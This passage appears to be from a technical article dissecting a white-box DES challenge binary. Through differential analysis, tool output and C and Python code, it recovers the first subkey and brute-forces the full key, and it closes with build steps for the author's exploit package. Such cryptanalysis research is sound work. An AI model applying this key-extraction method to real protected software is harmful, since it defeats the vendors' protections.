{ 0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7, 0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7, 0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7, 0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7, 0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7,0xf7, [...] 0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1, 0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1,0xf1, },

[...]

unsigned char iBOX_8[12][256] = {

{ 0x13,0xdf,0xf9,0x38,0x61,0xe2,0x44,0x9e,0xc0,0x2a,0x0b,0xb7,0x7c,0xad, 0x56,0x85,0x96,0xbe,0x8b,0x04,0x27,0xcd,0xa8,0x1f,0xec,0x65,0x39,0xd1, 0x50,0x42,0x73,0xfa,0x4a,0x52,0x04,0x8b,0xcc,0x2f,0x19,0xad,0x67,0xe3, [...] 0x8a,0x08,0xbd,0x59,0x36,0xf1,0xef,0x45,0x13,0xd4,0x90,0x67,0xae,0x76, 0x3c,0xf7,0xe4,0x65,0x91,0x43,0x2b,0xcd,0x80,0x58,0xd9,0x1a,0xbf,0x02, },

[...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The example shows us that iBOX_3[0] has only 2 possibles values: 0xf7 for any index inferior or equal to 127 and 0xf1 for the remaining ones. Said otherwise, this box is a bit filter:

‑ High output nibble: only 1 possible value (0xf) => no bit chosen ‑ Low output nibble: 2 possible values (0x1, 0x7) => the input's MSB is chosen

Let's visualize the effect of the 8 first iBox_i for every output nibble. To see if the particular bit at position 'i' is involved in the LUT 'p' then you can compute:

‑ p[0]&0xf0 and p[(1<<i)]&0xf0 ; influence on the High nibble ‑ p[0]&0x0f and p[(1<<i)]&0x0f ; influence on the Low nibble

In each case, if the bit at the position 'i' is indeed involved then both results will be different. I implemented it in entropy.c (see appendix):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./entropy

[+] Link between IN and OUT arrays

OUT[0] (high) is composed of:

‑> bit 6

‑> bit 49

‑> bit 57

‑> bit 56

OUT[0] (low) is composed of:

‑> bit 24

‑> bit 32

‑> bit 40

‑> bit 48

[...]

OUT[11] (high) is composed of:

‑> bit 7

‑> bit 15

‑> bit 23

‑> bit 31

OUT[11] (low) is composed of:

‑> bit 14

‑> bit 22

‑> bit 46

‑> bit 54

[+] Total nbr of bits involved = 96

[...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So the analysis of the 8 first LUT reveals that each output (OUT[i]) nibble is linked to exactly 4 input bits. So the 8 first iBox_i are no more than an obfuscated linear mapping.

A good idea is to focus more specifically on the input bits frequency:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./entropy

[...]

[+] Nbr of times a bit is used

[b_00] 2 [b_01] 1 [b_02] 2 [b_03] 1 [b_04] 2 [b_05] 1 [b_06] 2 [b_07] 1 [b_08] 2 [b_09] 1 [b_10] 2 [b_11] 1 [b_12] 2 [b_13] 1 [b_14] 2 [b_15] 1 [b_16] 2 [b_17] 1 [b_18] 2 [b_19] 1 [b_20] 2 [b_21] 1 [b_22] 2 [b_23] 1 [b_24] 2 [b_25] 1 [b_26] 2 [b_27] 1 [b_28] 2 [b_29] 1 [b_30] 2 [b_31] 1 [b_32] 2 [b_33] 1 [b_34] 2 [b_35] 1 [b_36] 2 [b_37] 1 [b_38] 2 [b_39] 1 [b_40] 2 [b_41] 1 [b_42] 2 [b_43] 1 [b_44] 2 [b_45] 1 [b_46] 2 [b_47] 1 [b_48] 2 [b_49] 1 [b_50] 2 [b_51] 1 [b_52] 2 [b_53] 1 [b_54] 2 [b_55] 1 [b_56] 2 [b_57] 1 [b_58] 2 [b_59] 1 [b_60] 2 [b_61] 1 [b_62] 2 [b_63] 1 $

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The even bits are used exactly twice while odd ones are only used once (here odd and even both refer to the position). Or you could say that even bits are duplicated in the internal state built after this step.

Anybody familiar with the DES knows that the IP(X) function of the DES gives the internal state L || R where:

‑ L is an array composed of the odd bits of X

‑ R is an array composed of the even bits of X

In an academic WB DES implementation, building the 96 bits state is performed using the duplication of even bits (R). This is because these bits are necessary as both input of the E‑box and output of the DES round function (see my previous description of DES). So we have an obvious match and it's a clear indication that there is no external encoding applied to the input (and as a consequence probably none applied to the output as well). More precisely there could still be a bit permutation on both L & R bits but it sounds like a silly hypothesis so let's forget about that. What would be the point?

‑‑

Now let's continue with the differential analysis of the full wb_init(). This step is much more intuitive. Think about it: if you want to discover the nibbles of stage0 (the output of wb_init) influenced by a specific input bit then apply wb_init() to two inputs whose only difference is this bit. Then calculate the XOR of both results and the non null nibbles are the ones which are affected. This was greatly inspired by [R09].

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./entropy

[...]

[+] Differential cryptanalysis on wb_init()

‑> b_00 :: 00 04 20 00 00 00 00 00 00 00 00 00

‑> b_01 :: 00 00 00 40 00 00 00 00 00 00 00 00

‑> b_02 :: 00 00 00 09 d0 00 00 00 00 00 00 00

‑> b_03 :: 00 00 00 00 00 00 00 90 00 00 00 00

‑> b_04 :: 00 00 00 00 00 0e 60 00 00 00 00 00

‑> b_05 :: 00 00 00 00 00 00 00 00 00 50 00 00

‑> b_06 :: 80 00 00 00 00 00 00 05 00 00 00 00

‑> b_07 :: 00 00 00 00 00 00 00 00 00 00 00 b0

‑> b_08 :: 00 07 00 00 00 00 00 00 01 00 00 00

‑> b_09 :: 00 00 00 f0 00 00 00 00 00 00 00 00

‑> b_10 :: 00 00 00 06 00 00 00 00 00 03 00 00

[...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So for even bits there are 2 nibbles affected and only one for odd bits. Not only does it confirm our previous hypothesis but it also reveals the position (the index in the nibble array) of the bits in the WB internal state (up to 1/2 probability for even bits). This is particularly interesting when it comes to locate S‑box for example ;‑)

Analyzing the first wb_round()

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To analyze this function, one clever trick is to make use of the odd bits (L0) and perform a differential analysis.

Natively, the DES satisfies the following system of equations:

L1 = R0

R1 = L0 [+] f(R0,K0)

With

L0 || R0 being the result of IP(plaintext) K0 being the first subkey

Let's now consider two plaintexts (A and B). The first one is composed of bits all set to 0 (L0_A || R0_A) whereas the second one ((L0_B || R0_B) has a weight of 1 and more specifically, its sole bit set to 1 is in L0.

Remark: While there is only one A, there are obviously 32 possible B. We can thus write thanks to the previous equations:

L1_A = R0_A = 0

R1_A = L0_A [+] f(R0_A,K0) = f(0,K0)

And

L1_B = R0_B = 0

R1_B = L0_B [+] f(R0_B,K0) = L0_B [+] f(0,K0)

(Again please excuse the lazy notation)

This finally gives us:

DELTA(L1||R1)(A,B) = ( L1_A [+] L1_B || R1_A [+] R1_B )

= ( 0 [+] 0 || f(0,K0) [+] L0_B [+] f(0,K0) )

= ( 0 || L0_B )

We know that L0_B's weight is 1 so in a native DES the modification of one bit in L0 induces the modification of a unique bit in the output of the DES round function. In an obfuscated context, this means that only one output nibble is modified and calculating DELTA (the result of the so called differential analysis if you prefer) is merely a trick to identify it easily.

Now that you've grasped the main idea, let's work on the real WB. Again consider plaintexts A and B which give (L0_A || R0_A) and (L0_B || R0_B) after IP().

Because wb_round() includes the E‑box and produces a 96 bits output state, we now have to consider an additional transformation:

X (64b) ‑‑‑> [ wb_init + first wb_round ] ‑‑‑‑> Y (96b)

Here Y is the output of wb_round. Following the design in academic publications we can write:

Y = RP ( L1 || X1 || r1 ) (RP = Random bit Permutation used to hide

the position of bits in the

obfuscated output.)

With:

‑ L1 being R0 (from DES round equation)

‑ X1 being the result of the E‑box applied to R1 ‑ r1 being the complementary bits such as the set of X1 and r1 is exactly twice R1

Now let's apply again the differential analysis. It's important to remark that RP() and E() are both linear operations as this simplifies things. Indeed it's well known that:

LinearFunc(x [+] y) = LinearFunc(x) [+] LinearFunc(y)

Putting everything together this gives us:

DELTA(Y)(a,b) = RP(Y_A) [+] RP(Y_B) = RP(Y_A [+] Y_B) = RP(L1_A [+] L1_B || X1_A [+] X1_B

r1_A [+] r1_B)

= RP(0 [+] 0 || E(f(0,K0)) [+] E(L0_B [+] f(0,K0))

|| r1_a [+] r1_b)

= RP(0 || E(f(0,K0) [+] L0_B [+] f(0,K0)z)

|| r1_A [+] r1_B)

= RP(0 || E(L0_B) || r1_A [+] r1_B)

If the bit set in L0 is a middle bit then:

‑ Weight(E(L0_B)) = 1 and Weight(r1_A [+] r1_B)) = 1 If the bit set in L0 isn't a middle bit then:

‑ Weight(E(L0_B)) = 2 and Weight(r1_A [+] r1_B)) = 0

In both cases, Weight(RP(0 || E(L0_B) || r1_A [+] r1_B)) = 2, RP having no effect on the weight since it only permutes bits. This means that 1 bit modification should have a visible impact on 'at most' 2 nibbles. 'at most' and not 'exactly' because with the effect of RP() the two bits could be located in the same nibble.

Let's see if we are right:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

b_01 :: 00 05 d0 00 00 00 00 00 00 00 00 00 <‑‑ 2 modified nibbles b_03 :: 00 00 00 03 60 00 00 00 00 00 00 00 <‑‑ 2 modified nibbles b_05 :: 00 00 00 00 00 04 e0 00 00 00 00 00 <‑‑ 2 modified nibbles b_07 :: 90 00 00 00 00 00 00 08 00 00 00 00 ...

b_09 :: 00 0b 00 00 00 00 00 00 05 00 00 00

b_11 :: 00 00 00 0f 00 00 00 00 00 08 00 00

b_13 :: 00 00 00 00 00 0d 00 00 00 00 0f 00

b_15 :: 00 00 00 00 00 00 00 0f 00 00 00 06

b_17 :: 00 04 00 00 00 00 00 00 0c 00 00 00

b_19 :: 00 00 00 09 00 00 00 00 00 0f 00 00

b_21 :: 00 00 00 00 00 08 00 00 00 00 06 00

b_23 :: 00 00 00 00 00 00 00 0d 00 00 00 08

b_25 :: 08 d0 00 00 00 00 00 00 00 00 00 00

b_27 :: 00 00 04 20 00 00 00 00 00 00 00 00

b_29 :: 00 00 00 00 05 80 00 00 00 00 00 00

b_31 :: 00 00 00 00 00 00 04 20 00 00 00 00

b_33 :: 02 70 00 00 00 00 00 00 00 00 00 00

b_35 :: 00 00 0c f0 00 00 00 00 00 00 00 00

b_37 :: 00 00 00 00 0d b0 00 00 00 00 00 00

b_39 :: 00 00 00 00 00 00 0f a0 00 00 00 00

b_41 :: 0c 00 00 00 00 00 00 00 0f 00 00 00

b_43 :: 00 00 0d 00 00 00 00 00 00 02 00 00

b_45 :: 00 00 00 00 09 00 00 00 00 00 05 00

b_47 :: 00 00 00 00 00 00 03 00 00 00 00 03

b_49 :: 0f 00 00 00 00 00 00 00 0d 00 00 00

b_51 :: 00 00 06 00 00 00 00 00 00 03 00 00

b_53 :: 00 00 00 00 0b 00 00 00 00 00 0c 00

b_55 :: 00 00 00 00 00 00 02 00 00 00 00 01

b_57 :: b0 00 00 00 00 00 00 0c 00 00 00 00

b_59 :: 00 03 60 00 00 00 00 00 00 00 00 00

b_61 :: 00 00 00 0e 40 00 00 00 00 00 00 00

b_63 :: 00 00 00 00 00 0b f0 00 00 00 00 00

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And that's exactly what we were expecting :) Well to be honest, I first observed the result of the differential analysis, then remarked a 'strange' behavior related to the odd bits and finally figured out why using maths ;)

One cool thing with this situation is that we can easily leak the position of the specific S‑Boxes inside the T‑Boxes. First let's compare the differential analysis of even bits 28,36,52,60 and of odd bit 1:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

b_01 :: 00 05 d0 00 00 00 00 00 00 00 00 00

b_28 :: 0d 75 dd 00 00 00 04 20 0f d2 00 00

b_36 :: 0c 05 d0 00 09 00 04 20 cf 00 05 00

b_52 :: 00 05 d0 09 00 00 00 00 90 0f 00 00

b_60 :: 0c 05 d6 09 00 00 02 00 3f 0d 00 01

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Obviously setting these even bits one by one induces the same modification (amongst others) as setting the odd bit 1 (nibbles 01L (0x5) and 02H (0xd)) so there must be some kind of mathematical link between them because the other bits do not have such property.

Playing with Sbox

‑‑‑‑‑‑‑‑‑‑‑

The reason behind this behavior is very simple to explain. But first, let's take back the example of plaintext 'A' (null vector):

We know that:

R1_A = L0_a [+] P(S1[0 [+] k0] || S2[0 [+] k1] || ... || S8[0 [+] k7]) R1_A = 0 [+] P(S1[k0] || S2[k0] || ... || S8[k7]) R1_A = P( S1[k0] || S2[k1] || ... || S8[k7] )

Where:

The ki being 6 bits vectors (0 <= i < 8)

K0 = k0 || k1 || k2 ... || k7

Thus in the case of plaintext 0 (A), R1_A is the permutation of the Sbox output whose inputs are the bits of the first subkey.

Now let us focus on 1 of the 4 bits generated by an Sbox S (which could be any of the 8). We do not know its value (b) but when the P‑box is applied it will be located in a particular nibble as illustrated below:

R1_A = f(R0,K0) = ???? ?b?? ???? ???? ???? ???? ???? ????

^

|__ The bit

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(4bits x 8) = 32 bits state

Because a WB DES implementation is working with a duplicated Rx this will give us the following internal state:

... ??b? ???? ???? ???b ...

^ ^

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑b is duplicated

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

96 bits state

Now following what was explained previously with odd bits, out of the 32 possible B, one of them will affect b when L0_B is XORed with f(0,K0)

So considering a 96 bits internal state inside the WB, this gives us:

... ??a? ???? ???? ???a ...

With:

a = b [+] 1

As a result, the differential between A and B would be:

... ??b? ???? ???? ???b ... (from A)

[+]

... ??a? ???? ???? ???a ... (from B)

=

... ??1? ???? ???? ???1 ... ( because a [+] b

a [+] a [+] 1

1 )

From now on, we will call this differential our 'witness' and by extension, the two nibbles where b=1 the 2 witness nibbles.

Playing with the witness

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now imagine that we're using another plaintext (X) with weight 1 and whose weight is in one of the 6 possible bits influencing Sbox S. There are two possible situations:

‑ S still produces b

‑ S now produces b+1

If we perform a differential analysis between X and A (null vector) this gives us:

case 1:

=======

... ??b? ???? ???? ???b ... (from A)

[+]

... ??b? ???? ???? ???b ... (from X)

=

... ??0? ???? ???? ???0 ... <‑‑ useless output

case 2:

=======

... ??b? ???? ???? ???b ... (from A)

[+]

... ??a? ???? ???? ???a ... (from X)

=

... ??1? ???? ???? ???1 ... <‑‑ witness vector :)))

So case 2 is perfect because it gives us a distinguisher. We can test all 32 possible X (each of them having a different even bit set) and observe the ones which produce the witness vector associated with b.

This is exactly what we did implicitly when we discovered the link between bits 28, 36, 52 and 60. Or if you're lost let's say that we've just discovered something huge: the bits 28, 36, 52 and 60 are the input of the same Sbox and bit 1 is one of the output of this Sbox. At this point the protection took a heavy hit.

Remark: The first subkey is modifying the input sent to the Sbox. As a consequence the relation previously found is "key dependent". This will be of importance later, keep reading!

Going further

‑‑‑‑‑‑‑‑‑

Let's think. At this point and thanks to our analysis of wb_init() we're almost sure that there is no external encoding applied to the input. So there should be a match between our practical results and the theoretical relations in the original DES algorithm. To verify my theory, I wrote a little script to compute the positions of the bits involved with each Sbox:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./bitmapping.py

[6, 56, 48, 40, 32, 24] <‑‑ Sbox 1

[32, 24, 16, 8, 0, 58] <‑‑ Sbox 2

[0, 58, 50, 42, 34, 26]

[34, 26, 18, 10, 2, 60]

[2, 60, 52, 44, 36, 28] <‑‑ Sbox 5

[36, 28, 20, 12, 4, 62]

[4, 62, 54, 46, 38, 30]

[38, 30, 22, 14, 6, 56] <‑‑ Sbox 8

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Oh interesting so Sbox 5 seems to match with our practical result. Going deeper, we need to check if bit 01 is involved with this Sbox. Again I wrote another script to compute the position of odd bits involved with the Sbox in the original DES and this gives us:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./sbox.py | grep 'SBOX 5'

bit 41 XORED with bit 00 of SBOX 5 (19)

bit 01 XORED with bit 03 of SBOX 5 (16)

bit 19 XORED with bit 02 of SBOX 5 (17)

bit 63 XORED with bit 01 of SBOX 5 (18)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So bit 01 is indeed involved. However let's try to be careful. In cryptanalysis it's easy to be fooled, so let's make extra checks. For example can we link a subset of even bits {2, 28, 36, 44, 52, 60} with bit 19 of the same Sbox?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

19 :: 00 00 00 09 00 00 00 00 00 0f 00 00

2 :: 0c 00 06 00 00 0b f2 60 0f 03 00 01

28 :: 0d 75 dd 00 00 00 04 20 0f d2 00 00

36 :: 0c 05 d0 00 09 00 04 20 cf 00 05 00

44 :: 00 00 00 09 00 0b f0 00 20 0f 00 00

52 :: 00 05 d0 09 00 00 00 00 90 0f 00 00

60 :: 0c 05 d6 09 00 00 02 00 3f 0d 00 01

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bit 19 is linked to bit 44 and 52 => YES. At this point, we should check automatically that the bit relations are satisfied for all the Sbox but it's tedious. That's the problem :‑P Because I was lazy, I manually checked all the relations. Fortunately with the help of scripts, this only took me a couple of minutes and it was a 100% match. Again, this proves nothing but as I said earlier, we're working with guesses.

Towards a perfect understanding of differential analysis

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Didn't you notice something particular with bit 02, 28 and 60? Well the 'impacted' nibbles were neither 0 nor a witness nibble. For example consider bit 60:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

19 :: 00 00 00 09 00 00 00 00 00 0f 00 00

60 :: 0c 05 d6 09 00 00 02 00 3f 0d 00 01

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The first impacted nibble '0x9' is a good one (witness nibble) but the second one is neither '0x0' nor '0xf' (witness). How is that possible?

Well the answer lies in both:

‑ the (non)‑middle bits

‑ the P‑box

Indeed if you consider the bits sent to Sbox 5, you have to know that: ‑ bits 02 and 60 are sent to both Sbox 4 & 5

‑ bits 52 and 44 are sent to Sbox 5

‑ bits 36 and 28 are sent to both Sbox 5 & 6

So when 1 non‑middle bit is set, this will impact the output of 2 Sbox and we're unlucky, the P‑box will have the unfortunate effect of setting them in the same nibble, hence the difference observed.

‑‑‑‑[ 6.3 ‑ Recovering the first subkey

If the relations observed are 'key dependent', considering the fact that the S‑Boxes are known (which means unmodified otherwise this would be cheating :p) then isn't this an indirect leak on the key itself that could be transformed in a key recovery? Oh yes it is :‑)

First cryptanalysis

‑‑‑‑‑‑‑‑‑‑‑‑

The main idea is really simple: we know that for a given subkey, several unitary vectors (plaintexts of weight 1) will produce the same output bit.

Let's take again the previous case. We have:

.‑‑‑‑‑‑.‑‑‑‑‑‑.‑‑‑‑‑‑.

| b_02 | b_60 | b_52 |b_44 |b_36 | b_28 |

'‑‑‑‑‑‑'‑‑‑‑‑‑'‑‑‑‑‑‑'

....

. +

....

.‑‑‑‑‑‑.‑‑‑‑‑‑.‑‑‑‑‑‑.

| k24 | k25 | k26 | k27 | k28 | k29 |

'‑‑‑‑‑‑'‑‑‑‑‑‑'‑‑‑‑‑‑'

|

v

************

* Sbox 5 *

************

|

v

.‑‑‑‑‑‑.‑‑‑‑‑‑.‑

| y0 | y1 | y2 | y3 |

'‑‑‑‑‑‑'‑‑‑‑‑‑'‑

Let us consider bit 01. We know that it will be XORed to y2 so from the differential analysis we can derive the set of relations:

[ k24 [+] 0, k25 [+] 1, k26 [+] 0, k27 [+] 0, k28 [+] 0, k29 [+] 0 ] => b [ k24 [+] 0, k25 [+] 0, k26 [+] 1, k27 [+] 0, k28 [+] 0, k29 [+] 0 ] => b [ k24 [+] 0, k25 [+] 0, k26 [+] 0, k27 [+] 0, k28 [+] 1, k29 [+] 0 ] => b [ k24 [+] 0, k25 [+] 0, k26 [+] 0, k27 [+] 0, k28 [+] 0, k29 [+] 1 ] => b

So amongst all possible sets {k24,k25,k26,k27,k28,k29}, only a few of them (including the one from the real subkey) will satisfy the relations. Testing all possible sets (there are 2^6 = 64 of them) will give us 2 lists because we do not know if b=1 or b=0 so we have to consider both cases.

Applying this technique to both y0, y1, y2 and y3 will allow to filter efficiently the number of possible candidates as we will only consider those present in all lists. The success of this cryptanalysis is highly dependent on the number of relations that we will be able to create for a particular S‑Box. Practically speaking, this is sufficient to recover the first subkey as the complexity should be far below 2^48. Should be? Yes I didn't test it... I found even better.

Immediate subkey recovery

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As I said above, our success is dependent of the number of equations so improving the cryptanalysis can be done by finding ways to increase this number. There are two obvious ways to do that:

‑ There may exist combinations of input bits other than unitary vectors (weight > 1) which can produce the witness nibbles in a differential analysis.

‑ If the impacted nibbles are both 0x0 then this gives us a new relation where expected output bit is b [+] 1

Practically speaking this gives us the following result for Sbox5 and bit 01:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./exploit

[...]

{ 1 0 0 0 0 0 } = { 1 } <‑‑ dumping relations for S5 & bit 01 { 0 1 0 0 0 0 } = { 0 }

{ 1 1 0 0 0 0 } = { 0 }

{ 0 0 1 0 0 0 } = { 0 }

{ 1 0 1 0 0 0 } = { 1 }

{ 0 1 1 0 0 0 } = { 1 }

{ 1 1 1 0 0 0 } = { 1 }

{ 0 0 0 1 0 0 } = { 1 }

{ 1 0 0 1 0 0 } = { 0 }

{ 0 1 0 1 0 0 } = { 0 }

{ 1 1 0 1 0 0 } = { 1 }

{ 0 0 1 1 0 0 } = { 1 }

{ 1 0 1 1 0 0 } = { 0 }

{ 0 1 1 1 0 0 } = { 1 }

{ 1 1 1 1 0 0 } = { 0 }

{ 0 0 0 0 1 0 } = { 0 }

{ 1 0 0 0 1 0 } = { 1 }

{ 0 1 0 0 1 0 } = { 0 }

{ 1 1 0 0 1 0 } = { 0 }

{ 0 0 1 0 1 0 } = { 1 }

{ 1 0 1 0 1 0 } = { 0 }

{ 0 1 1 0 1 0 } = { 0 }

{ 1 1 1 0 1 0 } = { 1 }

{ 0 0 0 1 1 0 } = { 0 }

{ 1 0 0 1 1 0 } = { 0 }

{ 0 1 0 1 1 0 } = { 1 }

{ 1 1 0 1 1 0 } = { 0 }

{ 0 1 0 1 0 1 } = { 1 }

[...]

[ key candidate is 31]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The cryptanalysts have the habit to always evaluate the complexity of their attacks but in this case let's say that it's useless. Only one subkey appeared to be valid out of the 2^48 possible ones.

‑‑‑‑[ 6.4 ‑ Recovering the original key

Now that we've retrieved the first subkey, our goal is almost reached. So how do we retrieve the secret key? Well DES subkeys can be seen as truncated permutations of the original key. This means that we now have 48 out of the 56 bits of the original key.

I could explain the key scheduling mechanism of the DES, but it's useless as the only important thing is to be able to reverse the permutation. This is done easily thanks to the following python manipulation applied to the sKMap1 array, itself being shamelessly ripped from [13]:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

>>> InvsKMap1 = [ ‑1 for i in xrange(64) ]

>>> for x in xrange(len(InvsKMap1)):

... if 7‑x%8 == 0:

... InvsKMap1[x] = ‑2

...

>>> for x in xrange(64):

... if x in sKMap1:

... InvsKMap1[x] = sKMap1.index(x)

...

>>> InvsKMap1

[19, 8, 12, 29, 32, ‑1, ‑1, ‑2, 9, 0, ‑1, ‑1, 44, 43, 40, ‑2, 5, 22, 10, 41, 37, 24, 34, ‑2, 15, 14, 21, 25, 35, 31, 47, ‑2, 6, 2, 13, 20, 28, 38, 26, ‑2, 23, 11, ‑1, 16, 42, ‑1, 30, ‑2, 4, ‑1, 1, ‑1, 33, 27, 46, ‑2, 7, 17, 18, 3, 36, 45, 39, ‑2]

>>>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here is the resulting array:

char InvsKMap1[64] = {

19, 8, 12, 29, 32, ‑1, ‑1, ‑2,

9, 0, ‑1, ‑1, 44, 43, 40, ‑2,

5, 22, 10, 41, 37, 24, 34, ‑2,

15, 14, 21, 25, 35, 31, 47, ‑2,

6, 2, 13, 20, 28, 38, 26, ‑2,

23, 11, ‑1, 16, 42, ‑1, 30, ‑2,

4, ‑1, 1, ‑1, 33, 27, 46, ‑2,

7, 17, 18, 3, 36, 45, 39, ‑2

};

My exploit uses this array to build an original key out of both the subkey bits and an 8 bits vector. '‑1' is set for a bit position where the value has to be guessed. There are 8 such positions, and for each of them, a bit is taken from the 8 bits vector. '‑2' means that the bit can be anything. Indeed the most significant bits (the so‑called parity bits) of the 8 bytes key array are never taken into account (hence the well known 8 x 7 = 56 bits keylength).

Now the only remaining thing to do is to guess these 8 missing bits. Obviously for each guess you will generate an original key 'K' and test it against a known couple of input/output generated by the white‑box. The whole operation was implemented below:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void RebuildKeyFromSk1(uchar *dst, uchar *src, uchar lastbits) {

int i,j;

char *plastbits = (char *)&lastbits;

memset(dst, 0, DES_KEY_LENGTH);

for(i=0,j=0; i<64; i++)

{

// Parity bit

if(InvsKMap1[i] == ‑2) continue;

// Bit is guessed

else if(InvsKMap1[i] == ‑1)

{ if(GETBIT(plastbits,j))

SETBIT(dst,i);

j++;

}

// Bit is already known

else

{

if(GETBIT(src, InvsKMap1[i]))

SETBIT(dst,i);

}

}

return;

}

[...]

const_DES_cblock in = "\x12\x32\xe7\xd3\x0f\xf1\x29\xb3"; const_DES_cblock expected = "\xa1\x6b\xd2\xeb\xbf\xe1\xd1\xc2"; DES_cblock key;

DES_cblock out;

DES_key_schedule ks;

for(missing_bits=0; missing_bits<256; missing_bits++) {

RebuildKeyFromSk1(key, sk, missing_bits); memset(out, 0, sizeof out); DES_set_key(&key, &ks); DES_ecb_encrypt(&in, &out, &ks, DES_ENCRYPT);

if(!memcmp(out,expected,DES_BLOCK_LENGTH)) {

printf("[+] Key was found!\n"); [...]

}

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The whole cryptanalysis of the white‑box is very effective and allows us to retrieve a key in a few ms. More precisely it retrieves _1_ of the 256 possible 8 bytes key ;)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ tar xfz p68‑exploit.tgz; cd p68‑exploit

$ wget http://homes.esat.kuleuven.be/~bwyseur/research/wbDES

$ md5sum wbDES

b9c4c69b08e12f577c91ec186edc5355 wbDES # you can never be sure ;‑) $ for f in scripts/*.gdb; do gdb ‑x $f; done > /dev/null # is quite long

$ make

gcc ‑c wb_init.c ‑O3 ‑Wall

gcc ‑c wb_round.c ‑O3 ‑Wall

gcc ‑c wb_final.c ‑O3 ‑Wall

